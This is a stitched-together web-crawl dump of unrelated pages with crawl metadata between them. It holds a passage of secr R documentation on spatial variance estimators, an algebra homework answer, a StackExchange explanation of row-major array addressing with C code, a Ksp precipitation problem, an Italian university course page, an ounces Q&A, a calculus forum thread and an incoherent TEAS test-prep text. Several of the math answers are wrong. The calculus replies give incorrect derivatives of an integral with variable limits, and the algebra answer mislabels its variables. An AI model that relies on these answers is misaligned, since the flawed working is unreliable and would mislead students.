must specify area (see Examples). If independent.esa is TRUE then independence is assumed among cluster-specific estimates of esa, and esa variances are summed. The default is a weighted sum leading to higher overall variance. derivedCluster accepts a model fitted to data from clustered detectors; each cluster is interpreted as a replicate sample. It is assumed that the sets of individuals sampled by different clusters do not intersect, and that all clusters have the same geometry (spacing, detector number etc.). derivedMash accepts a model fitted to clustered data that have been ‘mashed’ for fast processing (see mash); each cluster is a replicate sample: the function uses the vector of cluster frequencies (n_j) stored as an attribute of the mashed capthist by mash. derivedExternal combines detection parameter estimates from a fitted model with a vector of frequencies nj from replicate sampling units configured as in cluster. Detectors in cluster are assumed to match those in the fitted model with respect to type and efficiency, but sampling duration (noccasions), spacing etc. may differ. The mask should match cluster; if mask is missing, one will be constructed using the buffer argument and defaults from make.mask. derivedSession accepts a single fitted model that must span multiple sessions; each session is interpreted as a replicate sample. Spatial variance is calculated by one of these methods Method Description "SRS" simple random sampling with identical clusters "R2" variable cluster size cf Thompson (2002:70) estimator for line transects "R3" variable cluster size cf Buckland et al. (2001) "local" neighbourhood variance estimator (Stevens and Olsen 2003) SUSPENDED in 4.4.7 "poisson" theoretical (model-based) variance "binomial" theoretical (model-based) variance in given area The weighted options R2 and R3 substitute \hat{a_j} for line length l_k in the corresponding formulae of Fewster et al. (2009, Eq 3,5). Density is estimated by D = n/A where A = \sum a_j. The variance of A is estimated as the sum of the cluster-specific variances, assuming independence among clusters. Fewster et al. (2009) found that an alternative estimator for line transects derived by Thompson (2002) performed better when there were strong density gradients correlated with line length (R2 in Fewster et al. 2009, Eq 3). The neighborhood variance estimator is implemented in package spsurvey and was originally proposed for generalized random tessellation stratified (GRTS) samples. For ‘local’ variance estimates, the centre of each replicate must be provided in xy, except where centres may be inferred from the data. It is unclear whether ‘local’ can or should be used when clusters vary in size. derivedSystematic implements the 'boxlet' variance estimator of Fewster (2011) for systematic designs using clustered detectors (an alternative to derivedCluster and derivedSessions). The method is experimental in secr 3.2.0 and may change. The ‘design’ argument is a list with components corresponding to arguments of make.systematic, (n and origin are ignored if provided): Component Description cluster traps object for a single cluster region 2-column matrix or SpatialPolygons spacing spacing between cluster origins ... other arguments passed to trap.builder e.g. edgemethod, exclude, exclmethod If region is omitted from design then an attempt will be made to retrieve it from the mask attribute of object (this works if the call to make.mask used keep.poly = TRUE). ### Value Dataframe with one row for each derived parameter (‘esa’, ‘D’) and columns as below estimate estimate of derived parameter SE.estimate standard error of the estimate lcl lower 100(1--alpha)% confidence limit ucl upper 100(1--alpha)% confidence limit CVn relative SE of number observed (across sampling units) CVa relative SE of effective sampling area CVD relative SE of density estimate ### Note The variance of a Horvitz-Thompson-like estimate of density may be estimated as the sum of two components, one due to uncertainty in the estimate of effective sampling area (\hat{a}) and the other due to spatial variance in the total number of animals n observed on J replicate sampling units (n = \sum_{j=1}^{J}{n_j}). We use a delta-method approximation that assumes independence of the components: \widehat{\mbox{var}}(\hat{D}) = \hat{D}^2 \{\frac{\widehat{\mbox{var}}(n)}{n^2} + \frac{\widehat{\mbox{var}}(\hat{a})}{\hat{a}^2}\} where \widehat{\mbox{var}}(n) = \frac{J}{J-1} \sum_{j=1}^{J}(n_j-n/J)^2. The estimate of \mbox{var}(\hat{a}) is model-based while that of \mbox{var}(n) is design-based. This formulation follows that of Buckland et al. (2001, p. 78) for conventional distance sampling. Given sufficient independent replicates, it is a robust way to allow for unmodelled spatial overdispersion. There is a complication in SECR owing to the fact that \hat{a} is a derived quantity (actually an integral) rather than a model parameter. Its sampling variance \mbox{var}(\hat{a}) is estimated indirectly in secr by combining the asymptotic estimate of the covariance matrix of the fitted detection parameters \theta with a numerical estimate of the gradient of a(\theta) with respect to \theta. This calculation is performed in derived. ### References Buckland, S. T., Anderson, D. R., Burnham, K. P., Laake, J. L., Borchers, D. L. and Thomas, L. (2001) Introduction to Distance Sampling: Estimating Abundance of Biological Populations. Oxford University Press, Oxford. Fewster, R. M. (2011) Variance estimation for systematic designs in spatial surveys. Biometrics 67, 1518–1531. Fewster, R. M., Buckland, S. T., Burnham, K. P., Borchers, D. L., Jupp, P. E., Laake, J. L. and Thomas, L. (2009) Estimating the encounter rate variance in distance sampling. Biometrics 65, 225–236. Stevens, D. L. Jr and Olsen, A. R. (2003) Variance estimation for spatially balanced samples of environmental resources. Environmetrics 14, 593–610. Thompson, S. K. (2002) Sampling. 2nd edition. Wiley, New York. ### See Also derived, esa ### Examples ## The ovensong' data are pooled from 75 replicate positions of a ## 4-microphone array. The array positions are coded as the first 4 ## digits of each sound identifier. The sound data are initially in the ## object signalCH'. We first impose a 52.5 dB signal threshold as in ## Dawson & Efford (2009, J. Appl. Ecol. 46:1201--1209). The vector nj ## includes 33 positions at which no ovenbird was heard. The first and ## second columns of temp' hold the estimated effective sampling area ## and its standard error. ## Not run: signalCH.525 <- subset(signalCH, cutval = 52.5) nonzero.counts <- table(substring(rownames(signalCH.525),1,4)) nj <- c(nonzero.counts, rep(0, 75 - length(nonzero.counts))) temp <- derived(ovensong.model.1, se.esa = TRUE) derivednj(nj, temp["esa",1:2]) ## The result is very close to that reported by Dawson & Efford ## from a 2-D Poisson model fitted by maximizing the full likelihood. ## If nj vector has length 1, a theoretical variance is used... msk <- ovensong.model.1$mask
A <- nrow(msk) * attr(msk, "area")
derivednj (sum(nj), temp["esa",1:2], method = "poisson")
derivednj (sum(nj), temp["esa",1:2], method = "binomial", area = A)
## Set up an array of small (4 x 4) grids,
## simulate a Poisson-distributed population,
## sample from it, plot, and fit a model.
## mash() condenses clusters to a single cluster
testregion <- data.frame(x = c(0,2000,2000,0),
y = c(0,0,2000,2000))
t4 <- make.grid(nx = 4, ny = 4, spacing = 40)
t4.16 <- make.systematic (n = 16, cluster = t4,
region = testregion)
popn1 <- sim.popn (D = 5, core = testregion,
buffer = 0)
capt1 <- sim.capthist(t4.16, popn = popn1)
fit1 <- secr.fit(mash(capt1), CL = TRUE, trace = FALSE)
## Visualize sampling
"clusterbuffer")
## Compare model-based and empirical variances.
## Here the answers are similar because the data
## were simulated from a Poisson distribution,
## as assumed by \code{derived}
derived(fit1)
derivedMash(fit1)
## Now simulate a patchy distribution; note the
## larger (and more credible) SE from derivedMash().
popn2 <- sim.popn (D = 5, core = testregion, buffer = 0,
model2D = "hills", details = list(hills = c(-2,3)))
capt2 <- sim.capthist(t4.16, popn = popn2)
fit2 <- secr.fit(mash(capt2), CL = TRUE, trace = FALSE)
derived(fit2)
derivedMash(fit2)
## The detection model we have fitted may be extrapolated to
## a more fine-grained systematic sample of points, with
## detectors operated on a single occasion at each...
## Total effort 400 x 1 = 400 detector-occasions, compared
## to 256 x 5 = 1280 detector-occasions for initial survey.
t1 <- make.grid(nx = 1, ny = 1)
t1.100 <- make.systematic (cluster = t1, spacing = 100,
region = testregion)
capt2a <- sim.capthist(t1.100, popn = popn2, noccasions = 1)
## one way to get number of animals per point
nj <- attr(mash(capt2a), "n.mash")
derivedExternal (fit2, nj = nj, cluster = t1, buffer = 100,
noccasions = 1)
## Review plots
library(MASS)
base.plot <- function() {
eqscplot( testregion, axes = FALSE, xlab = "",
ylab = "", type = "n")
polygon(testregion)
}
par(mfrow = c(1,3), xpd = TRUE, xaxs = "i", yaxs = "i")
base.plot()
plot(popn2, add = TRUE, col = "blue")
mtext(side=3, line=0.5, "Population", cex=0.8, col="black")
base.plot()
plot (capt2a, add = TRUE,title = "Extensive survey")
base.plot()
plot(capt2, add = TRUE, title = "Intensive survey")
par(mfrow = c(1,1), xpd = FALSE, xaxs = "r", yaxs = "r") ## defaults
## Weighted variance
derivedSession(ovenbird.model.1, method = "R2")
## End(Not run)
`
secr documentation built on Oct. 18, 2023, 1:07 a.m. | 3,402 | 13,013 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.671875 | 3 | CC-MAIN-2024-18 | latest | en | 0.710714 |
https://www.gradesaver.com/textbooks/math/algebra/algebra-1-common-core-15th-edition/chapter-7-exponents-and-exponential-functions-chapter-review-page-475/15 | 1,653,371,857,000,000,000 | text/html | crawl-data/CC-MAIN-2022-21/segments/1652662564830.55/warc/CC-MAIN-20220524045003-20220524075003-00045.warc.gz | 680,502,205 | 13,823 | ## Algebra 1: Common Core (15th Edition)
$\frac{-20}{9}$
You have the expression $\frac{2x}{y^2 z^-1}$.Since $a^{-b}$=$\frac{1}{a^b}$ our new expression would be $\frac{2xz}{y^2}$.Plug in z=2,y=-3 and z=-5 to evaluate the expression. $\frac{2*2*-5}{(-3)^2}$ -evaluate the exponent- $\frac{2*2*-5}{9}$ -simplify- =$\frac{-20}{9}$ | 130 | 329 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.21875 | 4 | CC-MAIN-2022-21 | latest | en | 0.518422 |
https://cs.stackexchange.com/questions/96852/how-is-the-formula-for-calculation-in-row-column-major-obtained | 1,717,070,809,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971667627.93/warc/CC-MAIN-20240530114606-20240530144606-00785.warc.gz | 165,564,646 | 41,939 | # How is the formula for calculation in row/column major obtained?
In my book, this formula is given for calculation of address of row major order's element $[I,J]$:
Address of $[I,J]$th element in row major order $= B + W[n(I-L_r)+ [J-L_c]]$
where B denotes base address, W denotes element size in bytes, n is the number of columns; $L_r$ is the first row number, $L_c$ is the first column number.
A similar formula is given for address in column major order.
I would like to know how this formula is obtained.
• I strongly recommend working this out yourself. Draw up some diagrams of matrices and figure out what the offset should be for row and column major orderings. Sep 1, 2018 at 1:25
Row-major order stores the rows of the array one after another in memory. That is, the array
a d g j
b e h k
c f i l
is stored as
a d g j b e h k c f i l
To determine the address of an element in this list, we need to know how many elements come before it. For element $$[I,J]$$, this is the number of complete rows above row $$I$$ times the length of a row, which is $$(I-L_r)\times n$$, plus the number of elements before it in the current row, which is $$J-L_c$$.
Since the first element is at address $$B$$ and each element takes $$W$$ bytes, the addresses of the elements are $$B$$, $$B+W$$, $$B+2W$$, ... and, in general, if there are $$k$$ elements before you, your address is $$B+kW$$. For element $$[I,J]$$, we have calculated that $$k=n(I-L_r)+(J-L_c)$$.
For column-major, the argument is basically the same. If you understand the above, it should be easy to adapt it.
B is the base address where the first element residents. For simplicity, let's assume that the array indexes start at zero, so $L_r$ and $L_c$ are both zero.
So the first element $[0,0]$, we have I=0 and J=0, you get address = B +W[n(0-0)+[0-0]] = B.
In row major arrays, each element of row i is contiguous in memory, followed immediately afterwards with the elements of row i+1, etc.
So element $[0,1]$ comes W bytes after element $[0,0]$. Its address = B+W[n(0-0)+ [1-0]] = B+W. Similar for each element j in the first row, each element is W bytes past the previous one, so the Jth element is W*J bytes from the base address B. Address of element [0,j] = B+W[n(0-0)+[J-0]] = B+W*J
Each row i+1, contains n elements of W bytes, so row i+1 starts in memory nW bytes after the previous row. Element $[0,0]$ is at address B, and element $[1,0]$ is at address B+W*n = B+W[n(1-0)+[0-0]].
Combining those two concepts, you can find any element [I,J] using the formula. The first term in the enclosed sum computes where the row starts in memory relative to the start, and the second term computes where the jth element starts relative to that row.
The terms Lr and Lc just generalize things if your indexes do not start with zero. By subtracting these from the indexes, you are treating the indexes as if they did start with base zero.
Here is an example using C. Notice that we can index element in array a2D using indexes, or your formula. Both work and in fact the C compiler treats them the same.
In C, two-D arrays are stored in memory as row-major. Read this post for a good explanation. Arrays are arranged in memory such that the first row appears first, followed by the second and so on. Each row consists of COL elements, so the way to define this would be:
typedef int A2D[ROW][COL];
A2D a2d = {0}; // Declares 2D array a2d and inits all elements to zero
Then to access the element at row i, column j, use:
a2d[i][j]
Here is a sample C program to demonstate:
#include <stdio.h>
#define ROW 5
#define COL 10
#define Lc 0
#define Lr 0
#define W sizeof(int)
#define n (COL)
#define ELEMENT_ADDR(B,I,J) (*((int *)(((void *)B)+ (W)*((n)*(I-Lr)+(J-Lc)))))
typedef int A2D[ROW][COL];
int main(int argc, char** argv)
{
A2D a2d = {0};
int r,c;
/* Access element using indexes */
a2d[1][2] = 12;
/* Access elements using address formula */
for(r=0; r<ROW; r++)
{
printf("Row %d: ", r);
for(c=0; c<COL; c++)
/* Equivalent to: printf("%2d ", a2d[r][c]); */
printf("\n");
}
}
This produces the following output:
Row 0: 0 0 0 0 0 0 0 0 0 0
Row 1: 0 0 12 0 0 0 0 0 0 0
Row 2: 0 0 0 0 0 0 0 0 0 0
Row 3: 0 0 0 0 0 0 0 0 0 0
Row 4: 0 0 0 0 0 45 0 0 0 0
Now the best thing is to get out a piece of paper, draw out this array as it is laid out in memory assuming 4 bytes per int, and see if you can reproduce the calculations to find the addresses of some array elements.
Try it again using different size elements, and with $L_r$ and $L_c$ set to values other than zero.
I noticed that you included the label Java but I provided an answer in C.
Why?
Because Java stores Arrays as objects. Each row is an Array object with an array of n Integers. To connect up the rows, there is an Array object that contains the object references to each of the row objects.
Each row object is stored contiguously, but each row will be stored non-contiguously on the heap, so they are not contiguous and this formula will not work.
You still access an array in Java using the notation A[i][j], but the index i provides an object reference to the ith row object, and j provides an index into that Array, but your formula will not work in that case. | 1,559 | 5,297 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 13, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.3125 | 4 | CC-MAIN-2024-22 | latest | en | 0.884639 |
https://corsi.unige.it/en/off.f/2023/ins/66479 | 1,708,697,405,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947474412.46/warc/CC-MAIN-20240223121413-20240223151413-00101.warc.gz | 196,969,639 | 19,652 | CODE 80563 2023/2024 9 cfu anno 1 BIOENGINEERING 11159 (LM-21) - GENOVA ING-INF/06 English GENOVA 1° Semester AULAWEB
## OVERVIEW
The course intends to provide the basic notions for data and signal analysis with emphasis on application to biology and medicine.
## AIMS AND CONTENT
### LEARNING OUTCOMES
The course provides students with the essential tools and operational skills for quantitative analysis of data and signals of interest for medicine and biology, on a probabilistic perspective
### AIMS AND LEARNING OUTCOMES
By the end of the course the students will be able to:
1. Design and apply methods of analysis and modelling of data - including temporal data (signals) - of interest for medicine and biology
2. Identify the correct approach (model selection, model identification, data visualization) for a specific data analysis problem
3. Use MATLAB to correctly display and model biomedical data and signals
### PREREQUISITES
There are no formal prerequisites, but the course requires solid foundations in mathematical analysis and linear algebra.
### TEACHING METHODS
The course is organised as a combination of lectures and lab activities.
Lectures will focus on theory and methods for data analysis.
Lab activities will focus on application to real data analysis problems in the context of bioengineering.
### SYLLABUS/CONTENT
A. Data Analysis and Data Display (wk 1-3)
Data types. Descriptive statistics. Analysis as modeling. Statistical data analysis. Regression. Visual display of information.
B.Probability density estimates (wk 4-6)
Unsupervised learning. Gaussian model. Principal Component Analysis, Factor Analysis, Independent Component Analysis, Cluster analysis and the EM algorithm. Graphical models. Regression and factor analysis as graphical models.
C. Pattern analysis and decision theory (wk 7-8)
Bayesian decision theory. Bayes classifiers. Logistic classifiers. Performance of a classifier: ROC curve. Generalized linear models. Introduction to neural networks. Model generalization and bias-variance trade-off.
D. Dynamic Models (wk 9-10). Temporal data (signals). Hidden Markov Models, Linear dynamical systems. Kalman filters.
E. Model selection (wk 11-12). Statistical Inference. Hypothesis testing. General Linear models and the analysis of variance. Mixed-effects models. Bayesian model selection.
Murphy, KP. Machine Learning: A Probabilistic Perspective. MIT Press, 2012.
## TEACHERS AND EXAM BOARD
### Exam Board
VITTORIO SANGUINETI (President)
CECILIA DE VICARIIS
MARTINA BROFIGA (President Substitute)
## LESSONS
### LESSONS START
https://corsi.unige.it/11159/p/studenti-orario
### Class schedule
L'orario di tutti gli insegnamenti è consultabile all'indirizzo EasyAcademy.
## EXAMS
### EXAM DESCRIPTION
Written exam (weight 50%)
Project work (individuals or couples, weight 50%)
• Solution of a real problem of biomedical data analysis/processing, chosen from a list of proposed projects
• Development of software for calculation/analysis/processing
• Interactive application (MATLAB Livescript) reporting the results
• Fixed deadline for submission (early February)
### ASSESSMENT METHODS
Project work will be assessed in terms of:
1) Documentation (correctess, clarity, synthesis, terminology): 10 pts
2) Implementation (code structure and organization, efficiency): 10 pts
3) Data Visualization (technical quality of figures, adequacy of display technique, efficacy, clarity): 10 pts
4) Bonus (max 2 pts) if the report provides additional analysis (in addition to those required). Bonus is only awarded if maximum score is obtained in the other three criteria.
### Exam schedule
Data Ora Luogo Degree type Note
10/01/2024 09:30 GENOVA Scritto Room G2B
25/01/2024 09:30 GENOVA Scritto Room G2B
08/02/2024 09:30 GENOVA Scritto Room G2B
06/06/2024 09:30 GENOVA Scritto Room G2B
04/07/2024 09:30 GENOVA Scritto Room G2B
05/09/2024 09:30 GENOVA Scritto Room G2B | 1,049 | 3,960 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.671875 | 3 | CC-MAIN-2024-10 | longest | en | 0.521513 |
https://www.jiskha.com/questions/1053114/find-the-derivative-of-the-function-integral-from-cosx-to-sinx-ln-8-3v-dv | 1,558,778,878,000,000,000 | text/html | crawl-data/CC-MAIN-2019-22/segments/1558232257939.82/warc/CC-MAIN-20190525084658-20190525110658-00329.warc.gz | 803,714,610 | 5,554 | # calculus help
find the derivative of the function
integral from cosx to sinx (ln(8+3v)dv)
1. 👍 0
2. 👎 0
3. 👁 93
1. the derivative of a definite integral is how much the area changes as you change the limits.
d/dx Int from p(x) to q(x) of f(v)dv
= [f(q)-f(p)]dx
(draw a sketch of that graph)
1. 👍 0
2. 👎 0
posted by Damon
2. sorry, extra dx in there
= f(q) - f(p)
f(q) = ln (8+3sin x)
f(p) = ln (8+3cos x)
f(q)-f(p) = ln [ (8+3sin x)/(8+3cos x) ]
1. 👍 0
2. 👎 0
posted by Damon
3. y'(x)= (sin(8+3((sin(x)))+x)+sin(8+3sin(x)-x))/2
1. 👍 0
2. 👎 0
posted by Chris
4. Well, I gave you my answer which is quite different.
1. 👍 0
2. 👎 0
posted by Damon
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More Similar Questions | 1,161 | 3,277 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.90625 | 4 | CC-MAIN-2019-22 | latest | en | 0.901164 |
https://chemistry.stackexchange.com/questions/59170/amount-of-cl-needed-to-precipitate-agcl-given-ksp-and-ag/59195 | 1,600,532,262,000,000,000 | text/html | crawl-data/CC-MAIN-2020-40/segments/1600400192778.51/warc/CC-MAIN-20200919142021-20200919172021-00501.warc.gz | 310,557,153 | 34,544 | # Amount of Cl- needed to precipitate AgCl given Ksp and [Ag+]
Why is $0.25 \ \mathrm{mL}$ the correct answer in this problem?
I used the Ksp to find the molarity of Chlorine to be $3.47 \times 10^{-2} \ \mathrm{M}$.
Then I used the formula
$$\text{Molarity}_{\text{initial}} \times \text{Volume}_{\text{initial}} = \text{Molarity}_{\text{final}} \times \text{Volume}_{\text{final}}$$
to find the volume of Chlorine, which turned out to be $0.21 \ \mathrm{mL}$ for me. However, my answer does not match the correct answer.
What am I doing wrong?
• Review the calculations – JM97 Sep 16 '16 at 15:44
• 1.8/7.2 = 0.25 exactly – DavePhD Sep 16 '16 at 16:19
• The needed molarity for chlorine that you found is wrong. – MaxW Sep 16 '16 at 19:42
First, solve for [$\ce{Cl-}$] using the expression for K$_{\mathrm sp}$ and the given molarity for $\ce{Ag+}$:
$$K_{\mathrm sp} = 1.8\times 10^{-10} = [\ce{Ag+}][\ce{Cl-}]$$
which rearranges to
$$[\ce{Cl-}] = {1.8\times 10^{-10}\over 7.2\times 10^{-5}} = 2.5\times 10^{-6}\, \mathrm{M}$$
Note that the units for K$_{\mathrm sp}$ are actually $\mathrm{M}^{2}$: I have omitted that from the math above but dimensional analysis tells us that the answer for $[\ce{Cl-}]$ is in units of molarity ($\mathrm{M}$).
Because we have 100 $\mathrm{mL}$ of $\ce{Ag+}$ solution, divide the $[\ce{Cl-}]$ molarity by 10 to get the actual number of moles of $\ce{Cl-}$ needed (here, I multiply by 0.1 to achieve the same result):
$$\mathrm{mol}\,\ce{Cl-} = (2.5\times 10^{-6}\,\mathrm{mol}\cdot\mathrm{L}^{-1}) \times 0.1\,\mathrm{L} = 2.5\times 10^{-7}$$
We are given a solution that is 0.001 $\mathrm{M}$ $\ce{Cl-}$, so we can get the volume needed in liters:
$${2.5\times 10^{-7}\,\mathrm{mol}\,\ce{Cl-}\over 10^{-3}\,\mathrm{M}\,\ce{Cl-}} = 2.5\times 10^{-4}\,\mathrm{L}$$
Finally, convert the above quantity to $\mathrm{mL}$: $$\left({1000\,\mathrm{mL}\over\mathrm{L}}\right)\cdot\,2.5\times 10^{-4}\,\mathrm{L} = 0.25\,\mathrm{mL}$$
• Where did you get the value 0.1 Liters from when trying to convert the molarity of Cl to moles? – Chris B Sep 19 '16 at 14:39
• @ChrisB - That's from the 100 $\mathrm{mL}$ (or 0.1 $\mathrm{L}$) of solution containing the $\ce{Ag+}$, and we need a 1:1 ratio of moles of each species. Since the units of molarity are $\mathrm{mol}\cdot\mathrm{L}^{-1}$, we need to divide by 10 or, as I did, multiply by 0.1. – Todd Minehardt Sep 19 '16 at 15:30 | 883 | 2,425 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4 | 4 | CC-MAIN-2020-40 | latest | en | 0.702675 |
https://responsivedesigntool.com/qa/quick-answer-what-is-smaller-than-an-ounce.html | 1,606,181,489,000,000,000 | text/html | crawl-data/CC-MAIN-2020-50/segments/1606141169606.2/warc/CC-MAIN-20201124000351-20201124030351-00472.warc.gz | 456,181,100 | 9,483 | # Quick Answer: What Is Smaller Than An Ounce?
## How many grams is 3 oz of chicken?
So, for example, 4 ounces of raw boneless skinless chicken breast yields about 3 ounces of cooked chicken, or 21 g of protein….How many grams is 3 ounces of meat?Ounces (oz)Grams (g)Kilograms+Grams (kg+g)1 oz28.35 g0 kg 28.35 g2 oz56.70 g0 kg 56.70 g3 oz85.05 g0 kg 85.05 g4 oz113.40 g0 kg 113.40 gJun 12, 2020.
## How many grams is a dub?
two gramsHow many grams are in a dub? Traditionally, a dub sack is two grams of marijuana. The actual quantities may vary depending on where in the world you find yourself but that’s pretty much the standard.
## How many oz a cup?
Liquid measuring cups indicate that 1 cup = 8 ounces.
## What is 3 oz of chicken look like?
For example, a single 3-ounce serving of chicken, beef, or fish is roughly the size of your palm. A 1-cup serving of fruit or vegetables is roughly the size of your closed fist.
## Is a Gram smaller than an ounce?
1 gram (g) is equal to 0.03527396195 ounces (oz).
## What weighs exactly 1 oz?
As we also learned, the quick and dirty way to think about ounces is to know that a pencil and an empty soda can each weigh about 0.5 oz., and a tennis ball weighs about 2 oz. If you want a more direct comparison, a slice of normal sandwich bread has a mass of roughly 1 ounce.
## Why is it called troy ounce?
Although the name probably comes from the Champagne fairs at Troyes, in northeastern France, the units themselves may be of more northern origin. English troy weights were nearly identical to the troy weight system of Bremen. (The Bremen troy ounce had a mass of 480.8 British Imperial grains.)
## Why is UK and US fl oz different?
The US fluid ounce is based on the US gallon, which in turn is based on the wine gallon of 231 cubic inches that was used in the United Kingdom prior to 1824. With the adoption of the international inch, the US fluid ounce became 29.5735295625 ml exactly, or about 4% larger than the imperial unit.
## How much is 3.5 s in ounces?
28 divided by 8? That’s 3.5 — so there are 3.5 grams of weed in an eighth. Here’s the breakdown for how many grams are in the different quantities of weed: 1 eighth = ⅛-ounce = 3.5 grams.
## What is 1oz in cups?
0.125 cupFluid Ounces (oz) to Cups Conversion 1 Fluid ounce (oz) is equal to 0.125 cup. To convert fluid oz to cups, multiply the fluid oz value by 0.125 or divide by 8.
## What size is a 3 oz chicken breast?
Chicken Breast The recommended single portion of chicken is 3-4 ounces, about the size of a deck of playing cards.
## Is 1 fl oz the same as 1 oz?
How many oz in 1 fl oz? The answer is 1. We assume you are converting between ounce [US, liquid] and US fluid ounce. You can view more details on each measurement unit: oz or fl oz The SI derived unit for volume is the cubic meter.
## How much does 1 oz weigh in grams?
28.34952 grams1 ounce (oz) is equal to 28.34952 grams (g).
## Which is the smallest gram?
Metric UnitsMilligram(mg)0.001 gram or 11000 gramCentigram(cg)0.01 gram or 1100 gramDecigram (dg)0.1 gram or 110 gramGram(g)1,000 milligramsDekagram (dag)10 grams3 more rows
## What is smaller than a kilogram?
Using this table as a reference, you can see the following: A kilogram is 1,000 times larger than one gram (so 1 kilogram = 1,000 grams). A centimeter is 100 times smaller than one meter (so 1 meter = 100 centimeters). A dekaliter is 10 times larger than one liter (so 1 dekaliter = 10 liters).
## Are there different types of ounces?
Besides the common ounce, several other ounces are in current use: The troy ounce of 31.1034768 grams is used for the mass of precious metals such as gold, silver, platinum, palladium, rhodium, etc. The ounce-force is a measure of weight, that is, force, based on 1 common ounce under standard gravity.
## What is smaller than a gram?
A milligram, (1/1,000), microgram (one millionth), and a nanogram (one billionth) are all smaller than a gram in increments of 1/1,000 from the previous one). … Is 0.001 mol a tenth of a gram?
## How much is 3 oz of chicken wings?
1½ 2 oz wings, 1 3 oz wing, or ¾ 4 oz wing. Round here, chicken wings range between about 80 and 120 g.
## How many Oz is a standard letter?
1 ozThe U.S. is still on imperial, and the standard maximum weight for a letter is 1 oz, which works out to 28 grams. A piece of paper weighs about five grams, and the envelope itself also weighs about five grams. A standard #10 envelope with 4 pieces of paper therefore comes in at about 25 grams – just under.
## How much is 8 oz of liquid?
1 US cup is equal to 8 US fluid ounces (fl oz).
## What does kilo mean?
kilo- a Greek combining form meaning “thousand,” introduced from French in the nomenclature of the metric system (kiloliter); on this model, used in the formation of compound words in other scientific measurements (kilowatt). | 1,331 | 4,876 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.140625 | 3 | CC-MAIN-2020-50 | latest | en | 0.931598 |
https://takemyteas.com/how-are-teas-test-questions-categorized-in-the-math-section | 1,721,079,740,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763514713.74/warc/CC-MAIN-20240715194155-20240715224155-00889.warc.gz | 486,638,827 | 26,208 | # How are TEAS test questions categorized in the math section?
How are TEAS test questions categorized in the math section? And what do they tell us about the paper testing of learn the facts here now problems? A lot of literature shows a lot of theories and facts about how to ask proofs. But I think it should be possible to categorize TEAS test questions in the math section. OK so, in some way it should be possible to ask proofs. In other ways it should be possible to ask answers to TEAS questions. First of all, there is the math section, section one: “Why can you judge the consistency of a new result if it is within the boundaries of the given definition?” Although there could be several explanations for this question, one thing is commonly known about the theoretical literature on this topic (see @liu06) and why it matters. Moreover, the above questions are different than many others in this literature (e.g. @liu02, @bevort02, @rodrigues14, @hartwer01), so this situation might impact their answers and it is supposed that people will get a better understanding of how TEAS works than the math section. As an example, let’s consider a problem involving a function $f: T \rightarrow {{\mathbb R}}$ and then let us see if things go really well. Say we are in $G$ and are asking if the derivative of the change of variables $x$ satisfies: $$x’\cdot \frac{d f(x)}{dx}=x.$$ Is it $x$ that we find $T$ well if the derivative of $f(x)$ is well defined? Is it $x$ that we find $A$ with a slope $1$ if the derivative of $f(x)$ satisfies $x’$? Our definition of $x$ becomes: x’\cdot \frac{d f(x)}{dx}How are TEAS test questions categorized in the math section? If you would like to read 